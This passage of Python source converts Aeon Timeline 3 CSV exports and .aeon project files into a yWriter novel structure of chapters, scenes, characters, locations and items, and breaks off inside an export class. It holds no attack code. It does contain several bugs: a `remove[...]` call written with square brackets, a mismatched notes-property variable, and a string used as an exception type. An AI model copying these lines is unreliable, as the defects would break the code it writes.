text = text.replace('\r', '') self.letterCount = len(text) class Chapter: """yWriter chapter representation. Public instance variables: title -- str: chapter title (may be the heading). desc -- str: chapter description in a single string. chLevel -- int: chapter level (part/chapter). oldType -- int: chapter type (Chapter/Other). chType -- int: chapter type yWriter 7.0.7.2+ (Normal/Notes/Todo). isUnused -- bool: True, if the chapter is marked "Unused". suppressChapterTitle -- bool: uppress chapter title when exporting. isTrash -- bool: True, if the chapter is the project's trash bin. suppressChapterBreak -- bool: Suppress chapter break when exporting. srtScenes -- list of str: the chapter's sorted scene IDs. """ def __init__(self): """Initialize instance variables.""" self.title = None # str # xml: <Title> self.desc = None # str # xml: <Desc> self.chLevel = None # int # xml: <SectionStart> # 0 = chapter level # 1 = section level ("this chapter begins a section") self.oldType = None # int # xml: <Type> # 0 = chapter type (marked "Chapter") # 1 = other type (marked "Other") # Applies to projects created by a yWriter version prior to 7.0.7.2. self.chType = None # int # xml: <ChapterType> # 0 = Normal # 1 = Notes # 2 = Todo # Applies to projects created by yWriter version 7.0.7.2+. self.isUnused = None # bool # xml: <Unused> -1 self.suppressChapterTitle = None # bool # xml: <Fields><Field_SuppressChapterTitle> 1 # True: Chapter heading not to be displayed in written document. # False: Chapter heading to be displayed in written document. self.isTrash = None # bool # xml: <Fields><Field_IsTrash> 1 # True: This chapter is the yw7 project's "trash bin". # False: This chapter is not a "trash bin". self.suppressChapterBreak = None # bool # xml: <Fields><Field_SuppressChapterBreak> 0 self.srtScenes = [] # list of str # xml: <Scenes><ScID> # The chapter's scene IDs. The order of its elements # corresponds to the chapter's order of the scenes. class WorldElement: """Story world element representation (may be location or item). Public instance variables: title -- str: title (name). image -- str: image file path. desc -- str: description. tags -- list of tags. aka -- str: alternate name. """ def __init__(self): """Initialize instance variables.""" self.title = None # str # xml: <Title> self.image = None # str # xml: <ImageFile> self.desc = None # str # xml: <Desc> self.tags = None # list of str # xml: <Tags> self.aka = None # str # xml: <AKA> class Character(WorldElement): """yWriter character representation. Public instance variables: notes -- str: character notes. bio -- str: character biography. goals -- str: character's goals in the story. fullName -- str: full name (the title inherited may be a short name). isMajor -- bool: True, if it's a major character. """ MAJOR_MARKER = 'Major' MINOR_MARKER = 'Minor' def __init__(self): """Extends the superclass constructor by adding instance variables.""" super().__init__() self.notes = None # str # xml: <Notes> self.bio = None # str # xml: <Bio> self.goals = None # str # xml: <Goals> self.fullName = None # str # xml: <FullName> self.isMajor = None # bool # xml: <Major> def fix_iso_dt(dateTimeStr): """Return a date/time string with a four-number year. Positional arguments: dateTimeStr -- str: date/time as read in from Aeon3 csv export. This is required for comparing date/time strings, and by the datetime.fromisoformat() method. Substitute missing time by "00:00:00". Substitute missing month by '01'. Substitute missing day by '01'. If the date is empty or out of yWriter's range, return None. """ if not dateTimeStr: return None if dateTimeStr.startswith('BC'): return None dt = dateTimeStr.split(' ') if len(dt) == 1: dt.append('00:00:00') date = dt[0].split('-') while len(date) < 3: date.append('01') if int(date[0]) < 100: return None if int(date[0]) > 9999: return None date[0] = date[0].zfill(4) dt[0] = ('-').join(date) dateTimeStr = (' ').join(dt) return dateTimeStr class CsvTimeline3(Novel): """File representation of a csv file exported by Aeon Timeline 3. Public methods: read() -- parse the file and get the instance variables. Represents a csv file with a record per scene. - Records are separated by line breaks. - Data fields are delimited by commas. """ EXTENSION = '.csv' DESCRIPTION = 'Aeon Timeline CSV export' SUFFIX = '' _SEPARATOR = ',' # Aeon 3 csv export structure (fix part) # Types _TYPE_EVENT = 'Event' _TYPE_NARRATIVE = 'Narrative Folder' # Field names _LABEL_FIELD = 'Label' _TYPE_FIELD = 'Type' _SCENE_FIELD = 'Narrative Position' _START_DATE_TIME_FIELD = 'Start Date' _END_DATE_TIME_FIELD = 'End Date' # Narrative position markers _PART_MARKER = 'Part' _CHAPTER_MARKER = 'Chapter' _SCENE_MARKER = 'Scene' # Events assigned to the "narrative" become # regular scenes, the others become Notes scenes. def __init__(self, filePath, **kwargs): """Initialize instance variables. Positional arguments: filePath -- str: path to the file represented by the Novel instance. Required keyword arguments: part_number_prefix -- str: prefix to the part number in the part's heading. chapter_number_prefix -- str: prefix to the chapter number in the chapter's heading. type_location -- str: label of the "Location" item type representing locations. type_item -- str: label of the "Item" item type representing items. type_character -- str: label of the "Character" item type representing characters. part_desc_label -- str: label of the csv field for the part's description. chapter_desc_label -- str: label of the csv field for the chapter's description. scene_desc_label -- str: label of the csv field for the scene's description. scene_title_label -- str: label of the csv field for the scene's title. notes_label -- str: label of the "Notes" property of events and characters. tag_label -- str: label of the csv field for the scene's tags. item_label -- str: label of the "Item" role type. character_label -- str: label of the "Participant" role type. viewpoint_label -- str: label of the "Viewpoint" property of events. location_label -- str: label of the "Location" role type. character_desc_label1 -- str: label of the character property imported as 1st part of the description. character_desc_label2 -- str: label of the character property imported as 2nd part of the description. character_desc_label3 -- str: label of the character property imported as 3rd part of the description. character_bio_label -- str: character_aka_label -- str: label of the "Nickname" property of characters. Extends the superclass constructor. """ super().__init__(filePath, **kwargs) self.labels = [] self.partNrPrefix = kwargs['part_number_prefix'] if self.partNrPrefix: self.partNrPrefix += ' ' self.chapterNrPrefix = kwargs['chapter_number_prefix'] if self.chapterNrPrefix: self.chapterNrPrefix += ' ' self.typeLocation = kwargs['type_location'] self.typeItem = kwargs['type_item'] self.typeCharacter = kwargs['type_character'] self.partDescField = kwargs['part_desc_label'] self.chapterDescField = kwargs['chapter_desc_label'] self.sceneDescField = kwargs['scene_desc_label'] self.sceneTitleField = kwargs['scene_title_label'] self.notesField = kwargs['notes_label'] self.tagField = kwargs['tag_label'] self.itemField = kwargs['item_label'] self.characterField = kwargs['character_label'] self.viewpointField = kwargs['viewpoint_label'] self.locationField = kwargs['location_label'] self.characterDescField1 = kwargs['character_desc_label1'] self.characterDescField2 = kwargs['character_desc_label2'] self.characterDescField3 = kwargs['character_desc_label3'] self.characterBioField = kwargs['character_bio_label'] self.characterAkaField = kwargs['character_aka_label'] self.locationDescField = kwargs['location_desc_label'] def read(self): """Parse the file and get the instance variables. Build a yWriter novel structure from an Aeon3 csv export. Return a message beginning with the ERROR constant in case of error. Overrides the superclass method. """ def get_lcIds(lcTitles): """Return a list of location IDs; Add new location to the project.""" lcIds = [] for lcTitle in lcTitles: if lcTitle in self.locIdsByTitle: lcIds.append(self.locIdsByTitle[lcTitle]) else: return None return lcIds def get_itIds(itTitles): """Return a list of item IDs; Add new item to the project.""" itIds = [] for itTitle in itTitles: if itTitle in self.itmIdsByTitle: itIds.append(self.itmIdsByTitle[itTitle]) else: return None return itIds def get_crIds(crTitles): """Return a list of character IDs; Add new characters to the project.""" crIds = [] for crTitle in crTitles: if crTitle in self.chrIdsByTitle: crIds.append(self.chrIdsByTitle[crTitle]) else: return None return crIds #--- Read the csv file. internalDelimiter = ',' try: with open(self.filePath, newline='', encoding='utf-8') as f: reader = csv.DictReader(f, delimiter=self._SEPARATOR) for label in reader.fieldnames: self.labels.append(label) eventsAndFolders = [] characterCount = 0 self.chrIdsByTitle = {} # key = character title # value = character ID locationCount = 0 self.locIdsByTitle = {} # key = location title # value = location ID itemCount = 0 self.itmIdsByTitle = {} # key = item title # value = item ID for row in reader: aeonEntity = {} for label in row: aeonEntity[label] = row[label] if self._TYPE_EVENT == aeonEntity[self._TYPE_FIELD]: eventsAndFolders.append(aeonEntity) elif self._TYPE_NARRATIVE == aeonEntity[self._TYPE_FIELD]: eventsAndFolders.append(aeonEntity) elif self.typeCharacter == aeonEntity[self._TYPE_FIELD]: characterCount += 1 crId = str(characterCount) self.chrIdsByTitle[aeonEntity[self._LABEL_FIELD]] = crId self.characters[crId] = Character() self.characters[crId].title = aeonEntity[self._LABEL_FIELD] charDesc = [] if self.characterDescField1 in aeonEntity: charDesc.append(aeonEntity[self.characterDescField1]) if self.characterDescField2 and self.characterDescField2 in aeonEntity: charDesc.append(aeonEntity[self.characterDescField2]) if self.characterDescField3 and self.characterDescField3 in aeonEntity: charDesc.append(aeonEntity[self.characterDescField3]) self.characters[crId].desc = ('\n').join(charDesc) if self.characterBioField in aeonEntity: self.characters[crId].bio = aeonEntity[self.characterBioField] if self.characterAkaField in aeonEntity: self.characters[crId].aka = aeonEntity[self.characterAkaField] if self.tagField in aeonEntity and aeonEntity[self.tagField]: self.characters[crId].tags = aeonEntity[self.tagField].split(internalDelimiter) if self.notesField in aeonEntity: self.characters[crId].notes = aeonEntity[self.notesField] self.srtCharacters.append(crId) elif self.typeLocation == aeonEntity[self._TYPE_FIELD]: locationCount += 1 lcId = str(locationCount) self.locIdsByTitle[aeonEntity[self._LABEL_FIELD]] = lcId self.locations[lcId] = WorldElement() self.locations[lcId].title = aeonEntity[self._LABEL_FIELD] self.srtLocations.append(lcId) if self.locationDescField in aeonEntity: self.locations[lcId].desc = aeonEntity[self.locationDescField] if self.tagField in aeonEntity: self.locations[lcId].tags = aeonEntity[self.tagField].split(internalDelimiter) elif self.typeItem == aeonEntity[self._TYPE_FIELD]: itemCount += 1 itId = str(itemCount) self.itmIdsByTitle[aeonEntity[self._LABEL_FIELD]] = itId self.items[itId] = WorldElement() self.items[itId].title = aeonEntity[self._LABEL_FIELD] self.srtItems.append(itId) except(FileNotFoundError): return f'{ERROR}"{os.path.normpath(self.filePath)}" not found.' except: return f'{ERROR}Can not parse csv file "{os.path.normpath(self.filePath)}".' try: for label in [self._SCENE_FIELD, self.sceneTitleField, self._START_DATE_TIME_FIELD, self._END_DATE_TIME_FIELD]: if not label in self.labels: return f'{ERROR}Label "{label}" is missing.' scIdsByStruc = {} chIdsByStruc = {} otherEvents = [] eventCount = 0 chapterCount = 0 for aeonEntity in eventsAndFolders: if aeonEntity[self._SCENE_FIELD]: narrativeType, narrativePosition = aeonEntity[self._SCENE_FIELD].split(' ') # Make the narrative position a sortable string. numbers = narrativePosition.split('.') for i in range(len(numbers)): numbers[i] = numbers[i].zfill(4) narrativePosition = ('.').join(numbers) else: narrativeType = '' narrativePosition = '' if aeonEntity[self._TYPE_FIELD] == self._TYPE_NARRATIVE: if narrativeType == self._CHAPTER_MARKER: chapterCount += 1 chId = str(chapterCount) chIdsByStruc[narrativePosition] = chId self.chapters[chId] = Chapter() self.chapters[chId].chLevel = 0 if self.chapterDescField: self.chapters[chId].desc = aeonEntity[self.chapterDescField] elif narrativeType == self._PART_MARKER: chapterCount += 1 chId = str(chapterCount) chIdsByStruc[narrativePosition] = chId self.chapters[chId] = Chapter() self.chapters[chId].chLevel = 1 narrativePosition += '.0000' if self.partDescField: self.chapters[chId].desc = aeonEntity[self.partDescField] continue elif aeonEntity[self._TYPE_FIELD] != self._TYPE_EVENT: continue eventCount += 1 scId = str(eventCount) self.scenes[scId] = Scene() if narrativeType == self._SCENE_MARKER: self.scenes[scId].isNotesScene = False scIdsByStruc[narrativePosition] = scId else: self.scenes[scId].isNotesScene = True otherEvents.append(scId) self.scenes[scId].title = aeonEntity[self.sceneTitleField] startDateTimeStr = fix_iso_dt(aeonEntity[self._START_DATE_TIME_FIELD]) if startDateTimeStr is not None: startDateTime = startDateTimeStr.split(' ') self.scenes[scId].date = startDateTime[0] self.scenes[scId].time = startDateTime[1] endDateTimeStr = fix_iso_dt(aeonEntity[self._END_DATE_TIME_FIELD]) if endDateTimeStr is not None: # Calculate duration of scenes that begin after 99-12-31. sceneStart = datetime.fromisoformat(startDateTimeStr) sceneEnd = datetime.fromisoformat(endDateTimeStr) sceneDuration = sceneEnd - sceneStart lastsHours = sceneDuration.seconds // 3600 lastsMinutes = (sceneDuration.seconds % 3600) // 60 self.scenes[scId].lastsDays = str(sceneDuration.days) self.scenes[scId].lastsHours = str(lastsHours) self.scenes[scId].lastsMinutes = str(lastsMinutes) else: self.scenes[scId].date = Scene.NULL_DATE self.scenes[scId].time = Scene.NULL_TIME if self.sceneDescField in aeonEntity: self.scenes[scId].desc = aeonEntity[self.sceneDescField] if self.notesField in aeonEntity: self.scenes[scId].sceneNotes = aeonEntity[self.notesField] if self.tagField in aeonEntity and aeonEntity[self.tagField]: self.scenes[scId].tags = aeonEntity[self.tagField].split(internalDelimiter) if self.locationField in aeonEntity: self.scenes[scId].locations = get_lcIds(aeonEntity[self.locationField].split(internalDelimiter)) if self.characterField in aeonEntity: self.scenes[scId].characters = get_crIds(aeonEntity[self.characterField].split(internalDelimiter)) if self.viewpointField in aeonEntity: vpIds = get_crIds([aeonEntity[self.viewpointField]]) if vpIds is not None: vpId = vpIds[0] if self.scenes[scId].characters is None: self.scenes[scId].characters = [] elif vpId in self.scenes[scId].characters: self.scenes[scId].characters.remove[vpId] self.scenes[scId].characters.insert(0, vpId) if self.itemField in aeonEntity: self.scenes[scId].items = get_itIds(aeonEntity[self.itemField].split(internalDelimiter)) self.scenes[scId].status = 1 # Set scene status = "Outline". except(FileNotFoundError): return f'{ERROR}"{os.path.normpath(self.filePath)}" not found.' except(KeyError): return f'{ERROR}Wrong csv structure.' except(ValueError): return f'{ERROR}Wrong date/time format.' except: return f'{ERROR}Can not parse "{os.path.normpath(self.filePath)}".' # Build the chapter structure as defined with Aeon v3. srtChpDict = sorted(chIdsByStruc.items()) srtScnDict = sorted(scIdsByStruc.items()) partNr = 0 chapterNr = 0 for ch in srtChpDict: self.srtChapters.append(ch[1]) if self.chapters[ch[1]].chLevel == 0: chapterNr += 1 self.chapters[ch[1]].title = self.chapterNrPrefix + str(chapterNr) for sc in srtScnDict: if sc[0].startswith(ch[0]): self.chapters[ch[1]].srtScenes.append(sc[1]) else: partNr += 1 self.chapters[ch[1]].title = self.partNrPrefix + str(partNr) # Create a chapter for the non-narrative events. chapterNr += 1 chId = str(chapterCount + 1) self.chapters[chId] = Chapter() self.chapters[chId].title = 'Other events' self.chapters[chId].desc = 'Scenes generated from events that ar not assigned to the narrative structure.' self.chapters[chId].chType = 1 self.chapters[chId].srtScenes = otherEvents self.srtChapters.append(chId) return 'Timeline data converted to novel structure.' import json from datetime import datetime from datetime import timedelta import codecs def scan_file(filePath): """Read and scan the project file. Positional arguments: filePath -- str: Path to the Aeon 3 project file. Return a string containing either the JSON part or an error message. """ try: with open(filePath, 'rb') as f: binInput = f.read() except(FileNotFoundError): return f'{ERROR}"{os.path.normpath(filePath)}" not found.' except: return f'{ERROR}Cannot read "{os.path.normpath(filePath)}".' # JSON part: all characters between the first and last curly bracket. chrData = [] opening = ord('{') closing = ord('}') level = 0 for c in binInput: if c == opening: level += 1 if level > 0: chrData.append(c) if c == closing: level -= 1 if level == 0: break if level != 0: return f'{ERROR}Corrupted data.' try: jsonStr = codecs.decode(bytes(chrData), encoding='utf-8') except: return f'{ERROR}Cannot decode "{os.path.normpath(filePath)}".' return jsonStr class JsonTimeline3(Novel): """File representation of an Aeon Timeline 3 project. Public methods: read() -- parse the file and get the instance variables. Represents the JSON part of the project file. """ EXTENSION = '.aeon' DESCRIPTION = 'Aeon Timeline 3 project' SUFFIX = '' DATE_LIMIT = (datetime(100, 1, 1) - datetime.min).total_seconds() # Dates before 100-01-01 can not be displayed properly in yWriter def __init__(self, filePath, **kwargs): """Initialize instance variables. Positional arguments: filePath -- str: path to the file represented by the Novel instance. Required keyword arguments: type_event -- str: label of the "Event" item type representing scenes. type_character -- str: label of the "Character" item type representing characters. type_location -- str: label of the "Location" item type representing locations. type_item -- str: label of the "Item" item type representing items. notes_label -- str: label of the "Notes" property of events and characters. character_desc_label1 -- str: label of the character property imported as 1st part of the description. character_desc_label2 -- str: label of the character property imported as 2nd part of the description. character_desc_label3 -- str: label of the character property imported as 3rd part of the description. character_aka_label -- str: label of the "Nickname" property of characters. viewpoint_label -- str: label of the "Viewpoint" property of events. character_label -- str: label of the "Participant" role type. location_label -- str: label of the "Location" role type. item_label -- str: label of the "Item" role type. part_number_prefix -- str: prefix to the part number in the part's heading. chapter_number_prefix -- str: prefix to the chapter number in the chapter's heading. Extends the superclass constructor. """ super().__init__(filePath, **kwargs) # JSON[definitions][types][byId] self._labelEventType = kwargs['type_event'] self._labelCharacterType = kwargs['type_character'] self._labelLocationType = kwargs['type_location'] self._labelItemType = kwargs['type_item'] # JSON[definitions][properties][byId] self._labelNotesProperty = kwargs['notes_label'] self._labelChrDesc1Property = kwargs['character_desc_label1'] self._labelChrDesc2Property = kwargs['character_desc_label2'] self._labelChrDesc3Property = kwargs['character_desc_label3'] self._labelAkaProperty = kwargs['character_aka_label'] self._labelViewpointProperty = kwargs['viewpoint_label'] # JSON[definitions][references][byId] self._labelParticipantRef = kwargs['character_label'] self._labelLocationRef = kwargs['location_label'] self._labelItemRef = kwargs['item_label'] # Misc. self._partHdPrefix = kwargs['part_number_prefix'] self._chapterHdPrefix = kwargs['chapter_number_prefix'] def read(self): """Parse the file and get the instance variables. Extract the JSON part of the Aeon Timeline 3 file located at filePath and build a yWriter novel structure. Return a message beginning with the ERROR constant in case of error. Overrides the superclass method. """ jsonPart = scan_file(self.filePath) if not jsonPart: return f'{ERROR}No JSON part found.' elif jsonPart.startswith(ERROR): return jsonPart try: jsonData = json.loads(jsonPart) except('JSONDecodeError'): return f'{ERROR}Invalid JSON data.' #--- Find types. typeEventUid = None typeCharacterUid = None typeLocationUid = None typeItemUid = None NarrativeFolderTypes = [] for uid in jsonData['definitions']['types']['byId']: if jsonData['definitions']['types']['byId'][uid]['isNarrativeFolder']: NarrativeFolderTypes.append(uid) elif jsonData['definitions']['types']['byId'][uid]['label'] == self._labelEventType: typeEventUid = uid elif jsonData['definitions']['types']['byId'][uid]['label'] == self._labelCharacterType: typeCharacterUid = uid elif jsonData['definitions']['types']['byId'][uid]['label'] == self._labelLocationType: typeLocationUid = uid elif jsonData['definitions']['types']['byId'][uid]['label'] == self._labelItemType: typeItemUid = uid #--- Find properties. propNotesUid = None propChrDesc1Uid = None propChrDesc2Uid = None propChrDesc3Uid = None propAkaUid = None propViewpointUid = None for uid in jsonData['definitions']['properties']['byId']: if jsonData['definitions']['properties']['byId'][uid]['label'] == self._labelNotesProperty: typeNotesUid = uid elif jsonData['definitions']['properties']['byId'][uid]['label'] == self._labelChrDesc1Property: propChrDesc1Uid = uid elif jsonData['definitions']['properties']['byId'][uid]['label'] == self._labelChrDesc2Property: propChrDesc2Uid = uid elif jsonData['definitions']['properties']['byId'][uid]['label'] == self._labelChrDesc3Property: propChrDesc3Uid = uid elif jsonData['definitions']['properties']['byId'][uid]['label'] == self._labelAkaProperty: propAkaUid = uid elif jsonData['definitions']['properties']['byId'][uid]['label'] == self._labelViewpointProperty: propViewpointUid = uid #--- Find references. refParticipant = None refLocation = None for uid in jsonData['definitions']['references']['byId']: if jsonData['definitions']['references']['byId'][uid]['label'] == self._labelParticipantRef: refParticipant = uid elif jsonData['definitions']['references']['byId'][uid]['label'] == self._labelLocationRef: refLocation = uid #--- Read items. crIdsByGuid = {} lcIdsByGuid = {} itIdsByGuid = {} scIdsByGuid = {} chIdsByGuid = {} characterCount = 0 locationCount = 0 itemCount = 0 eventCount = 0 chapterCount = 0 vpGuidByScId = {} for uid in jsonData['data']['items']['byId']: dataItem = jsonData['data']['items']['byId'][uid] if dataItem['type'] == typeEventUid: #--- Create scenes. eventCount += 1 scId = str(eventCount) scIdsByGuid[uid] = scId self.scenes[scId] = Scene() self.scenes[scId].status = 1 # Set scene status = "Outline" self.scenes[scId].isNotesScene = True # Will be set to False later if it is part of the narrative. self.scenes[scId].title = dataItem['label'] self.scenes[scId].desc = dataItem['summary'] timestamp = dataItem['startDate']['timestamp'] #--- Get scene tags. for tagId in dataItem['tags']: if self.scenes[scId].tags is None: self.scenes[scId].tags = [] self.scenes[scId].tags.append(jsonData['data']['tags'][tagId]) #--- Get scene properties. for propId in dataItem['propertyValues']: if propId == propNotesUid: self.scenes[scId].sceneNotes = dataItem['propertyValues'][propId] elif propId == propViewpointUid: vpGuidByScId[scId] = dataItem['propertyValues'][propId] #--- Get scene date, time, and duration. if timestamp is not None and timestamp >= self.DATE_LIMIT: # Restrict date/time calculation to dates within yWriter's range sceneStart = datetime.min + timedelta(seconds=timestamp) startDateTime = sceneStart.isoformat().split('T') self.scenes[scId].date = startDateTime[0] self.scenes[scId].time = startDateTime[1] # Calculate duration. if dataItem['duration']['years'] > 0 or dataItem['duration']['months'] > 0: endYear = sceneStart.year + dataItem['duration']['years'] endMonth = sceneStart.month if dataItem['duration']['months'] > 0: endMonth += dataItem['duration']['months'] while endMonth > 12: endMonth -= 12 endYear += 1 sceneDuration = datetime(endYear, endMonth, sceneStart.day) - \ datetime(sceneStart.year, sceneStart.month, sceneStart.day) lastsDays = sceneDuration.days lastsHours = sceneDuration.seconds // 3600 lastsMinutes = (sceneDuration.seconds % 3600) // 60 else: lastsDays = 0 lastsHours = 0 lastsMinutes = 0 lastsDays += dataItem['duration']['weeks'] * 7 lastsDays += dataItem['duration']['days'] lastsDays += dataItem['duration']['hours'] // 24 lastsHours += dataItem['duration']['hours'] % 24 lastsHours += dataItem['duration']['minutes'] // 60 lastsMinutes += dataItem['duration']['minutes'] % 60 lastsMinutes += dataItem['duration']['seconds'] // 60 lastsHours += lastsMinutes // 60 lastsMinutes %= 60 lastsDays += lastsHours // 24 lastsHours %= 24 self.scenes[scId].lastsDays = str(lastsDays) self.scenes[scId].lastsHours = str(lastsHours) self.scenes[scId].lastsMinutes = str(lastsMinutes) elif dataItem['type'] in NarrativeFolderTypes: #--- Create chapters. chapterCount += 1 chId = str(chapterCount) chIdsByGuid[uid] = chId self.chapters[chId] = Chapter() self.chapters[chId].desc = dataItem['label'] elif dataItem['type'] == typeCharacterUid: #--- Create characters. characterCount += 1 crId = str(characterCount) crIdsByGuid[uid] = crId self.characters[crId] = Character() if dataItem['shortLabel']: self.characters[crId].title = dataItem['shortLabel'] else: self.characters[crId].title = dataItem['label'] self.characters[crId].fullName = dataItem['label'] self.characters[crId].bio = dataItem['summary'] self.srtCharacters.append(crId) #--- Get character tags. for tagId in dataItem['tags']: if self.characters[crId].tags is None: self.characters[crId].tags = [] self.characters[crId].tags.append(jsonData['data']['tags'][tagId]) #--- Get character properties. charDesc = [] for propId in dataItem['propertyValues']: if propId == propNotesUid: self.characters[crId].notes = dataItem['propertyValues'][propId] elif propId == propAkaUid: self.characters[crId].aka = dataItem['propertyValues'][propId] elif propId == propChrDesc1Uid: charDesc.append(dataItem['propertyValues'][propId]) elif propId == propChrDesc2Uid: charDesc.append(dataItem['propertyValues'][propId]) elif propId == propChrDesc3Uid: charDesc.append(dataItem['propertyValues'][propId]) self.characters[crId].desc = ('\n').join(charDesc) elif dataItem['type'] == typeLocationUid: #--- Create locations. locationCount += 1 lcId = str(locationCount) lcIdsByGuid[uid] = lcId self.locations[lcId] = WorldElement() self.locations[lcId].title = dataItem['label'] self.locations[lcId].desc = dataItem['summary'] self.srtLocations.append(lcId) #--- Get location tags. for tagId in dataItem['tags']: if self.locations[lcId].tags is None: self.locations[lcId].tags = [] self.locations[lcId].tags.append(jsonData['data']['tags'][tagId]) elif dataItem['type'] == typeItemUid: #--- Create items. itemCount += 1 itId = str(itemCount) itIdsByGuid[uid] = itId self.items[itId] = WorldElement() self.items[itId].title = dataItem['label'] self.items[itId].desc = dataItem['summary'] self.srtItems.append(itId) #--- Get item tags. for tagId in dataItem['tags']: if self.items[itId].tags is None: self.items[itId].tags = [] self.items[itId].tags.append(jsonData['data']['tags'][tagId]) #--- Read relationships. for uid in jsonData['data']['relationships']['byId']: if jsonData['data']['relationships']['byId'][uid]['reference'] == refParticipant: #--- Assign characters. try: scId = scIdsByGuid[jsonData['data']['relationships']['byId'][uid]['subject']] crId = crIdsByGuid[jsonData['data']['relationships']['byId'][uid]['object']] if self.scenes[scId].characters is None: self.scenes[scId].characters = [] if not crId in self.scenes[scId].characters: self.scenes[scId].characters.append(crId) except: pass elif jsonData['data']['relationships']['byId'][uid]['reference'] == refLocation: #--- Assign locations. try: scId = scIdsByGuid[jsonData['data']['relationships']['byId'][uid]['subject']] lcId = lcIdsByGuid[jsonData['data']['relationships']['byId'][uid]['object']] if self.scenes[scId].locations is None: self.scenes[scId].locations = [] if not lcId in self.scenes[scId].locations: self.scenes[scId].locations.append(lcId) except: pass #--- Set scene viewpoints. for scId in vpGuidByScId: if vpGuidByScId[scId] in crIdsByGuid: vpId = crIdsByGuid[vpGuidByScId[scId]] if self.scenes[scId].characters is None: self.scenes[scId].characters = [] elif vpId in self.scenes[scId].characters: self.scenes[scId].characters.remove[vpId] self.scenes[scId].characters.insert(0, vpId) #--- Build a narrative structure with 2 or 3 levels. for narrative0 in jsonData['data']['narrative']['children']: if narrative0['id'] in chIdsByGuid: self.srtChapters.append(chIdsByGuid[narrative0['id']]) for narrative1 in narrative0['children']: if narrative1['id'] in chIdsByGuid: self.srtChapters.append(chIdsByGuid[narrative1['id']]) self.chapters[chIdsByGuid[narrative0['id']]].chLevel = 1 for narrative2 in narrative1['children']: if narrative2['id'] in scIdsByGuid: self.chapters[chIdsByGuid[narrative1['id']]].srtScenes.append( scIdsByGuid[narrative2['id']]) self.scenes[scIdsByGuid[narrative2['id']]].isNotesScene = False self.chapters[chIdsByGuid[narrative1['id']]].chLevel = 0 elif narrative1['id'] in scIdsByGuid: self.chapters[chIdsByGuid[narrative0['id']]].srtScenes.append(scIdsByGuid[narrative1['id']]) self.scenes[scIdsByGuid[narrative1['id']]].isNotesScene = False self.chapters[chIdsByGuid[narrative0['id']]].chLevel = 0 #--- Auto-number untitled chapters. partCount = 0 chapterCount = 0 for chId in self.srtChapters: if self.chapters[chId].chLevel == 1: partCount += 1 if not self.chapters[chId].title: self.chapters[chId].title = f'{self._partHdPrefix} {partCount}' else: chapterCount += 1 if not self.chapters[chId].title: self.chapters[chId].title = f'{self._chapterHdPrefix} {chapterCount}' #--- Create a "Notes" chapter for non-narrative scenes. chId = str(partCount + chapterCount + 1) self.chapters[chId] = Chapter() self.chapters[chId].title = 'Other events' self.chapters[chId].desc = 'Scenes generated from events that ar not assigned to the narrative structure.' self.chapters[chId].chType = 1 self.srtChapters.append(chId) for scId in self.scenes: if self.scenes[scId].isNotesScene: self.chapters[chId].srtScenes.append(scId) return 'Timeline data converted to novel structure.' import zipfile import locale import tempfile from shutil import rmtree from datetime import datetime from string import Template from string import Template class Filter: """Filter an entity (chapter/scene/character/location/item) by filter criteria. Public methods: accept(source, eId) -- check whether an entity matches the filter criteria. Strategy class, implementing filtering criteria for template-based export. This is a stub with no filter criteria specified. """ def accept(self, source, eId): """Check whether an entity matches the filter criteria. Positional arguments: source -- Novel instance holding the entity to check. eId -- ID of the entity to check. Return True if the entity is not to be filtered out. This is a stub to be overridden by subclass methods implementing filters. """ return True class FileExport(Novel): """Abstract yWriter project file exporter representation. Public methods: merge(source) -- update instance variables from a source instance. write() -- write instance variables to the export file. This class is generic and contains no conversion algorithm and no templates. """ SUFFIX = '' _fileHeader = '' _partTemplate = '' _chapterTemplate = '' _notesChapterTemplate = '' _todoChapterTemplate = '' _unusedChapterTemplate = '' _notExportedChapterTemplate = '' _sceneTemplate = '' _firstSceneTemplate = '' _appendedSceneTemplate = '' _notesSceneTemplate = '' _todoSceneTemplate = '' _unusedSceneTemplate = '' _notExportedSceneTemplate = '' _sceneDivider = '' _chapterEndTemplate = '' _unusedChapterEndTemplate = '' _notExportedChapterEndTemplate = '' _notesChapterEndTemplate = '' _todoChapterEndTemplate = '' _characterSectionHeading = '' _characterTemplate = '' _locationSectionHeading = '' _locationTemplate = '' _itemSectionHeading = '' _itemTemplate = '' _fileFooter = '' def __init__(self, filePath, **kwargs): """Initialize filter strategy class instances. Positional arguments: filePath -- str: path to the file represented by the Novel instance. Optional arguments: kwargs -- keyword arguments to be used by subclasses. Extends the superclass constructor. """ super().__init__(filePath, **kwargs) self._sceneFilter = Filter() self._chapterFilter = Filter() self._characterFilter = Filter() self._locationFilter = Filter() self._itemFilter = Filter() def merge(self, source): """Update instance variables from a source instance. Positional arguments: source -- Novel subclass instance to merge. Return a message beginning with the ERROR constant in case of error. Overrides the superclass method. """ if source.title is not None: self.title = source.title else: self.title = '' if source.desc is not None: self.desc = source.desc else: self.desc = '' if source.authorName is not None: self.authorName = source.authorName else: self.authorName = '' if source.authorBio is not None: self.authorBio = source.authorBio else: self.authorBio = '' if source.fieldTitle1 is not None: self.fieldTitle1 = source.fieldTitle1 else: self.fieldTitle1 = 'Field 1' if source.fieldTitle2 is not None: self.fieldTitle2 = source.fieldTitle2 else: self.fieldTitle2 = 'Field 2' if source.fieldTitle3 is not None: self.fieldTitle3 = source.fieldTitle3 else: self.fieldTitle3 = 'Field 3' if source.fieldTitle4 is not None: self.fieldTitle4 = source.fieldTitle4 else: self.fieldTitle4 = 'Field 4' if source.srtChapters: self.srtChapters = source.srtChapters if source.scenes is not None: self.scenes = source.scenes if source.chapters is not None: self.chapters = source.chapters if source.srtCharacters: self.srtCharacters = source.srtCharacters self.characters = source.characters if source.srtLocations: self.srtLocations = source.srtLocations self.locations = source.locations if source.srtItems: self.srtItems = source.srtItems self.items = source.items return 'Export data updated from novel.' def _get_fileHeaderMapping(self): """Return a mapping dictionary for the project section. This is a template method that can be extended or overridden by subclasses. """ projectTemplateMapping = dict( Title=self._convert_from_yw(self.title, True), Desc=self._convert_from_yw(self.desc), AuthorName=self._convert_from_yw(self.authorName, True), AuthorBio=self._convert_from_yw(self.authorBio, True), FieldTitle1=self._convert_from_yw(self.fieldTitle1, True), FieldTitle2=self._convert_from_yw(self.fieldTitle2, True), FieldTitle3=self._convert_from_yw(self.fieldTitle3, True), FieldTitle4=self._convert_from_yw(self.fieldTitle4, True), ) return projectTemplateMapping def _get_chapterMapping(self, chId, chapterNumber): """Return a mapping dictionary for a chapter section. Positional arguments: chId -- str: chapter ID. chapterNumber -- int: chapter number. This is a template method that can be extended or overridden by subclasses. """ if chapterNumber == 0: chapterNumber = '' chapterMapping = dict( 